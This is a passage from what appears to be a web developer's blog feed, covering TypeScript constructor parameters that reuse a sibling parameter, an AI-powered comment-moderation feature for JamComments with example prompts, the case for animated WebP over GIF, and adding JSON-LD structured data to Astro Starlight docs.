    this.imageUrl = imageUrl;
    this.cacheService = new CacheService(imageUrl);
    this.optimizeService = new OptimizeService(imageUrl);
  }

That’d work, but now OptimizedImage is fully responsible for service instantiation, and testing becomes more of a hassle too. It's not so easy to pass in mocks for service instances.

You could get around this by passing in mock class definitions, but you'd then need create mock versions of those classes with their own constructors, making testing more tedious. Fortunately, there's another option: use the imageUrl parameter in the rest of your argument list.

Sharing Sibling Parameters

I wasn't aware this was even possible until a little while ago. Here's how it'd look:

export class OptimizedImage {
  constructor(
    imageUrl: string,
    // Use the same `imageUrl` in both dependencies.
    cacheService = new CacheService(imageUrl),
    optimizeService = new OptimizeService(imageUrl)
  ) {
    this.cacheService = cacheService;
    this.optimizeService = optimizeService;
  }

  async get() {
    const cached = this.cacheService.get();

    // Return the previously optimized image.
    if (cached) return cached;

    const optimizedImage = await this.optimizeService.optimize();

    // Cache the optimized image for next time.
    return this.cacheService.put(optimizedImage);
  }
}

With this setup, you're able to mock those instances just as easily as before, and the rest of the class doesn't even need to hold onto an instance of imageUrl itself. Instantiation, of course, still remains simple:

const instance = new OptimizedImage('https://macarthur.me/me.jpg');

const img = await instance.get();

The same testing approach remains in tact as well:

import { it, expect, vi } from 'vitest';
import { OptimizedImage } from './main';

it('returns freshly optimized image', async function () {
  const mockCacheService = {
    get: () => null,
    put: vi.fn().mockResolvedValue('optimized image'),
  };

  const mockOptimizeService = {
    optimize: () => 'optimized image',
  };

  const optimizedImage = new OptimizedImage(
    'https://test.jpg',
    mockCacheService,
    mockOptimizeService
  );

  const result = await optimizedImage.get();

  expect(result).toEqual('optimized image');
  expect(mockCacheService.put).toHaveBeenCalledWith('optimized image');
});

Nothing groundbreaking here – just a small feature that made my life a little more ergonomically pleasing. I'm hoping to come across more gems like this in the future.

JamComments Now Offers AI-Powered Moderation

Alex MacArthur — Sun, 25 Aug 2024 03:30:36 +0000

While AI has absolutely flooded the digital product space for the past ~year, I've been relatively hesitant about its role within digital products. LLMs in particular are incredibly useful (I use them almost every day), but there've been a lot of relatively uninspiring product applications and so much hype. Frankly, many of the product using AI as their flagship feature solve a pain I have to be convinced I'm suffering from. They're cool, but a hard sell.

For that reason, I've been resistant to using it within my own products. I didn't want to bolt on an AI-powered feature for the sake of flashy marketability. If was going to use it, it'd better be legitimately helpful.

Well, I think I've actually found one (technically, credit goes to Cameron Pak for suggesting it).

Moderation is Hard

Anytime you're moderating user-generated content, you're in for some level of hassle. That's just part of the package when you need to balancing the free promotion of ideas with the appropriateness of the resulting content in a given context. If you err on the side of thorough moderation, you need to exert a lot of energy to do it well, and you risk stifling expression. Other other hand, taking a more laissez-faire approach carries a whole set of different risks.

In my experience with them, LLMs are pretty good at discerning linguistic expressions according to a set of principles you define. And especially with some guardrails in place, I really do think it can be a reliable moderator for this sort of purpose.

That's why I've rolled out AI-powered moderation for JamComments. You define the principles it to be used when moderating a comment, and the machine will handle it from there. You no longer need to choose between auto-approving every new comment, or manually moderating each one yourself.

Using AI Moderation

There really isn't anything revolutionary going on here. After signing up for a paid account, all you need to do is enable AI-moderation on your site's settings page:

After that, define a prompt the LLM will use to assess a comment.

AI-powered anything won't ever be deterministic, so you're welcome to test it on a few comments yourself before sticking with it:

The feature is powered by Anthropic's Claude, and is integrated with a healthy number of boundaries to prevent any sort of abuse or injection attacks.

Possible Use Cases

Ever since Camron first suggested the idea, my brain started stewing on the potential applications for different types of content. Here are some:

For your blog, you might want to avoid approving comments that contain any foul language. Possible prompt:

Do not approve any comments that contain foul language or cursing according to the language used by the typical English-speaking American. Some expressions are OK (like "heck" or "darn it"), but nothing beyond that level of intensity.

Or maybe you run a faith-based digital magazine that allows reader-submitted comments and you want to make sure no inappropriate content is submitted:

You're moderating comments made on articles for an online, faith-based magazine. Only approve comments that are neutral or uplifting in their spirit, and that do not disparage a person or group of people. Do not allow anything that encourages people to live against basic Christian principles.

For one more example, perhaps you run an e-commerce store and you'd like to keep reviews civil.

The comment you are moderating is a product review. Do not allow the review if the person says they did not purchase the product. Do not allow cussing. Please DO approve comments that offer serious criticism in a mature way.

You get the idea.

Give It a Shot

I realize that JamComments is in a rather interesting position because it's centered around written content – right up the alley of LLMs. So, I'm eager to see how this feature is leveraged, as well as if other opportunities arise for using it further. So, please — give it a shot and send me your feedback!

It’s Probably Worth Converting that GIF to an Animated WebP

Alex MacArthur — Thu, 22 Aug 2024 23:26:24 +0000

Find one of your favorite GIFs on Giphy and download it. You might be surprised that the result saved to your device won't be a GIF. It'll be an animated WebP.

It’s a very intentional move by Giphy, citing the maximization of quality and reduction in load times. After all, we're in a time when page performance has prominent focus in the industry, especially after Google unveiled its Core Web Vitals as a ranking factor. Coupled with the fact that WebP has extremely good browser support, the move shouldn't be all that surprising.

Still, moving away from the GIF hits different. The format's become such a big part of meme culture, and has been responsible for ripping apart friendships over the correct pronunciation. It's hard to imagine a world in which GIFs... aren't actually GIFs.

But in context of the web, it makes a lot of sense to fully embrace WebP as an alternative, even with the complicated feelings that linger around it.

A Brief History of the GIF

Believe it or not, the motivation behind the invention of the GIF had nothing to do with looping animations. It was all about performance. Back in 1987 (before the web was even a thing), CompuServe's Steve Wilhite & team needed a way to save, share, and render images without hogging a computer's RAM or storage.

The Graphics Interchange Format (GIF) was the result. It sported a relatively efficient compression algorithm, it could access 256 distinct colors per frame, and it could even contain multiple frames in a single file.

This was all big deal at the time, but the animated GIFs we're more familiar with didn't hit the scene until 1995, when Netscape Navigator 2.0 was released. It was the first browser that supported looping GIF animations, leading to some interesting, now-vintage web art. If you'd like to relive some of them yourself, check out GifCities. You'll find some gems:

Since then, the GIF has been through a lot, including some fierce licensing fights that nearly ended its role on the internet in the late 90s.

But soon enough, it intersected with a growth of meme culture and the explosion of digital connectedness. It quickly emerged as the preferred format for sending bite-sized, animated media between people. And that set up GIF platforms like Tenor and Giphy to thrive.

Times (and Tech) Have Changed

The technical implications of the GIF were significant at the time, but today, the landscape is different, and there’s a really good alternative available: WebP. Among the benefits:

Significantly broader color depth.

The GIF supports a maximum of 256 colors. WebP, however, touts a depth of 24 bits, which amounts to 16.7 million colors, meaning you're able to produce far more vibrant; detailed images than before.

More efficient (and flexible) compression.

Lempel–Ziv–Welch, the compression algorithm behind the GIF, is an old, straighftforward, and reliable one. But it's not the most efficient, it isn't suited for datasets with repetitive data, and it sometimes gets hairy due to licensingrestrictions.

WebP, on the other hand, was born out of the VP8 video format and uses a more modern compression approach. Both lossy & lossless compression is supported, making it more flexible than its legacy counterpart as well, depending on your needs. To put it plainly, WebP was built for image animations.

Smaller file size.

Aside from all of that, another big advantage over GIF is the file size reduction for most images. On average, lossy WebP animations are 64% smaller, while lossless versions are 19% smaller. Given the amount of imagery on the web, widespread mobile connectivity, and the SEO implications, this is no trivial benefit.

Still, Some Vehement Resistance

Search for "WebP" on Reddit, and you're going to see a lot of this:

It's all over X too:

The nerds of the world might respect WebP for its technical advantages, but we're in a bubble. The rest of realityvehemently hates it. That's largely because of compability issues with software that's not the web. If you download an animated WebP in the Windows Photos app, for example, it won't play. You'll just get a still. Especially when the format was still relatively new, I could see that being pretty annoying if you're one to right-click + download lots of pictures from online.

But at this point, I suspect much of that hatred is riding the momentum of the cultural bandwagon. It's cool to hate on WebP, much like it is Bootstrap, Internet Explorer, or PHP. In addition to the fact that software is still rapidly moving to support animated WebPs, legitimate criticism is thin, at least for the vast majority of use cases on the web.

Just Do It Already

The reactionary defense of the GIF makes sense given the cultural role it's enjoyed. But the technical benefits alone are quickly eroding any effort to resist modern formats like WebP.

Particularly for the web, straight-up moving from GIF to WebP offers very few (if any) downsides. There's some work involved in manually converting images yourself, but solutions exist for automating the entire process as well – without even changing your image URLs (hard plug: consider PicPerf.io).

If you’re serving GIFs on your website, consider the move. For all the reasons mentioned here, may be well-worth the effort.

Adding Structured Data in Astro's Starlight Documentation Framework

Alex MacArthur — Tue, 21 May 2024 02:46:35 +0000

I remember when the Astro team first announced Starlight, their documentation framework. The timing was perfect. I had been meaning to overhaul the docs for JamComments and TypeIt, but didn’t want to do so on the shoddy setups they were using at the time.

Since then, all of my side project documentation is built with Starlight, and I'm not moving away anytime soon. I‘d still call the project relatively new, but they’re iterating quickly, so I'm sure things are only going to get even better as time goes on.

At the time of writing, however, there’s one thing they don’t generate for you out of the box: structured data. But they do allow you to override individual UI components. That makes it relatively easy to roll some JSON-LD yourself.

Overriding the Head Component

The only component we're interested in overriding is <Head>, which very shockingly renders the <head> of your HTML pages. In your Starlight configuration, add a Head property to components and point it to the new component we're about to build:

// astro.config.mjs

import { defineConfig } from "astro/config";
import starlight from "@astrojs/starlight";

export default defineConfig({
  // ... other configuration stuff.
  integrations: [
    starlight({
      components: {
        Head: "/src/components/docs/Head.astro",
      },
    }),
  ],
});

Next up, let's do some light scaffolding for the our new <Head />:

---
// our custom Head.astro

import Default from "@astrojs/starlight/components/Head.astro";

const { title, description } = Astro.props.entry.data;
---

<Default {...Astro.props} />

If you refresh your documentation locally, you'll notice that nothing's changed. That makes sense. All we're doing is rendering the same Default component it would've rendered anyway.

Quick note: most of the time, you'll want to include a <slot /> as a child of the <Default /> component to ensure any children passed in are rendered in the correct spot:

---
import Default from "@astrojs/starlight/WhateverComponent.astro";
---

<Default>
  <slot/>
</Default>

But the <Head /> component is a little different. Instead of rendering a block of JSX, it's building an array of meta tags that's mapped to JSX. No children involved. So, at the time of writing, we're safe to leave the <slot /> out.

Building Structured Data

Next up, we can build our JSON-LD. We'll use the schema-dts for type safety and easier schema construction. You'll need to choose the schema type most appropriate for your content, but I'll be using TechArticle here, which will be used as a generic for the WithContext type:

---
import type { Props } from "@astrojs/starlight/props";
import Default from "@astrojs/starlight/components/Head.astro";
import type { TechArticle, WithContext } from "schema-dts";
---

<Default {...Astro.props} />

It's now a matter of building some structured data, using the data provided by Astro.props.entry.data for page-specific information:

---
import type { Props } from "@astrojs/starlight/props";
import Default from "@astrojs/starlight/components/Head.astro";
import type { TechArticle, WithContext } from "schema-dts";

const { title, description } = Astro.props.entry.data;

const techArticleSchema: WithContext<TechArticle> = {
    "@context": "https://schema.org",
    "@type": "TechArticle",
    headline: title,
    description: description,
    url: Astro.url.href,
    author: {
      "@type": "Organization",
      name: "JamComments",
      url: "https://jamcomments.com",
      logo: {
        "@type": "ImageObject",
        url: "https://jamcomments.com/img/open-graph.jpg"
      }
  },
  image: {
    "@type": "ImageObject",
    url: "https://jamcomments.com/img/open-graph.jpg"
  }
};
---

<Default {...Astro.props} />

The last step, of course, is to stringify it into your HTML:

---
  // ...other stuff.
---

<Default {...Astro.props} />

<script 
    type="application/ld+json" 
    set:html={JSON.stringify(techArticleSchema)}>
</script>

If you refresh a documentation page now, you'll see it rendered in your HTML as expected:

Of course, you're free to tweak anything you like, including the position of the markup relative to everything else in the <head />. In the spirit of not holding up anything critical to a user's experience, I prefer to stick it at the end. But do what you want. No one will die either way.

Don't Forget to Validate It

After deploying it, you're not quite done. Verify that you actually just shipped some valid structured data.

There are two go-to resources for this: the schema.org validator and Google's rich results test. Use both. You'd be surprised what one catches when the other says everything's fine.

Check in w/ the Starlight Project

Like I said: the Astro team's been moving pretty quickly on Starlight ever since it's been around. So, it's very possible there will be a dedicated API for doing this sort of thing soon enough. So, keep tabs on their documentation as you're tinkering.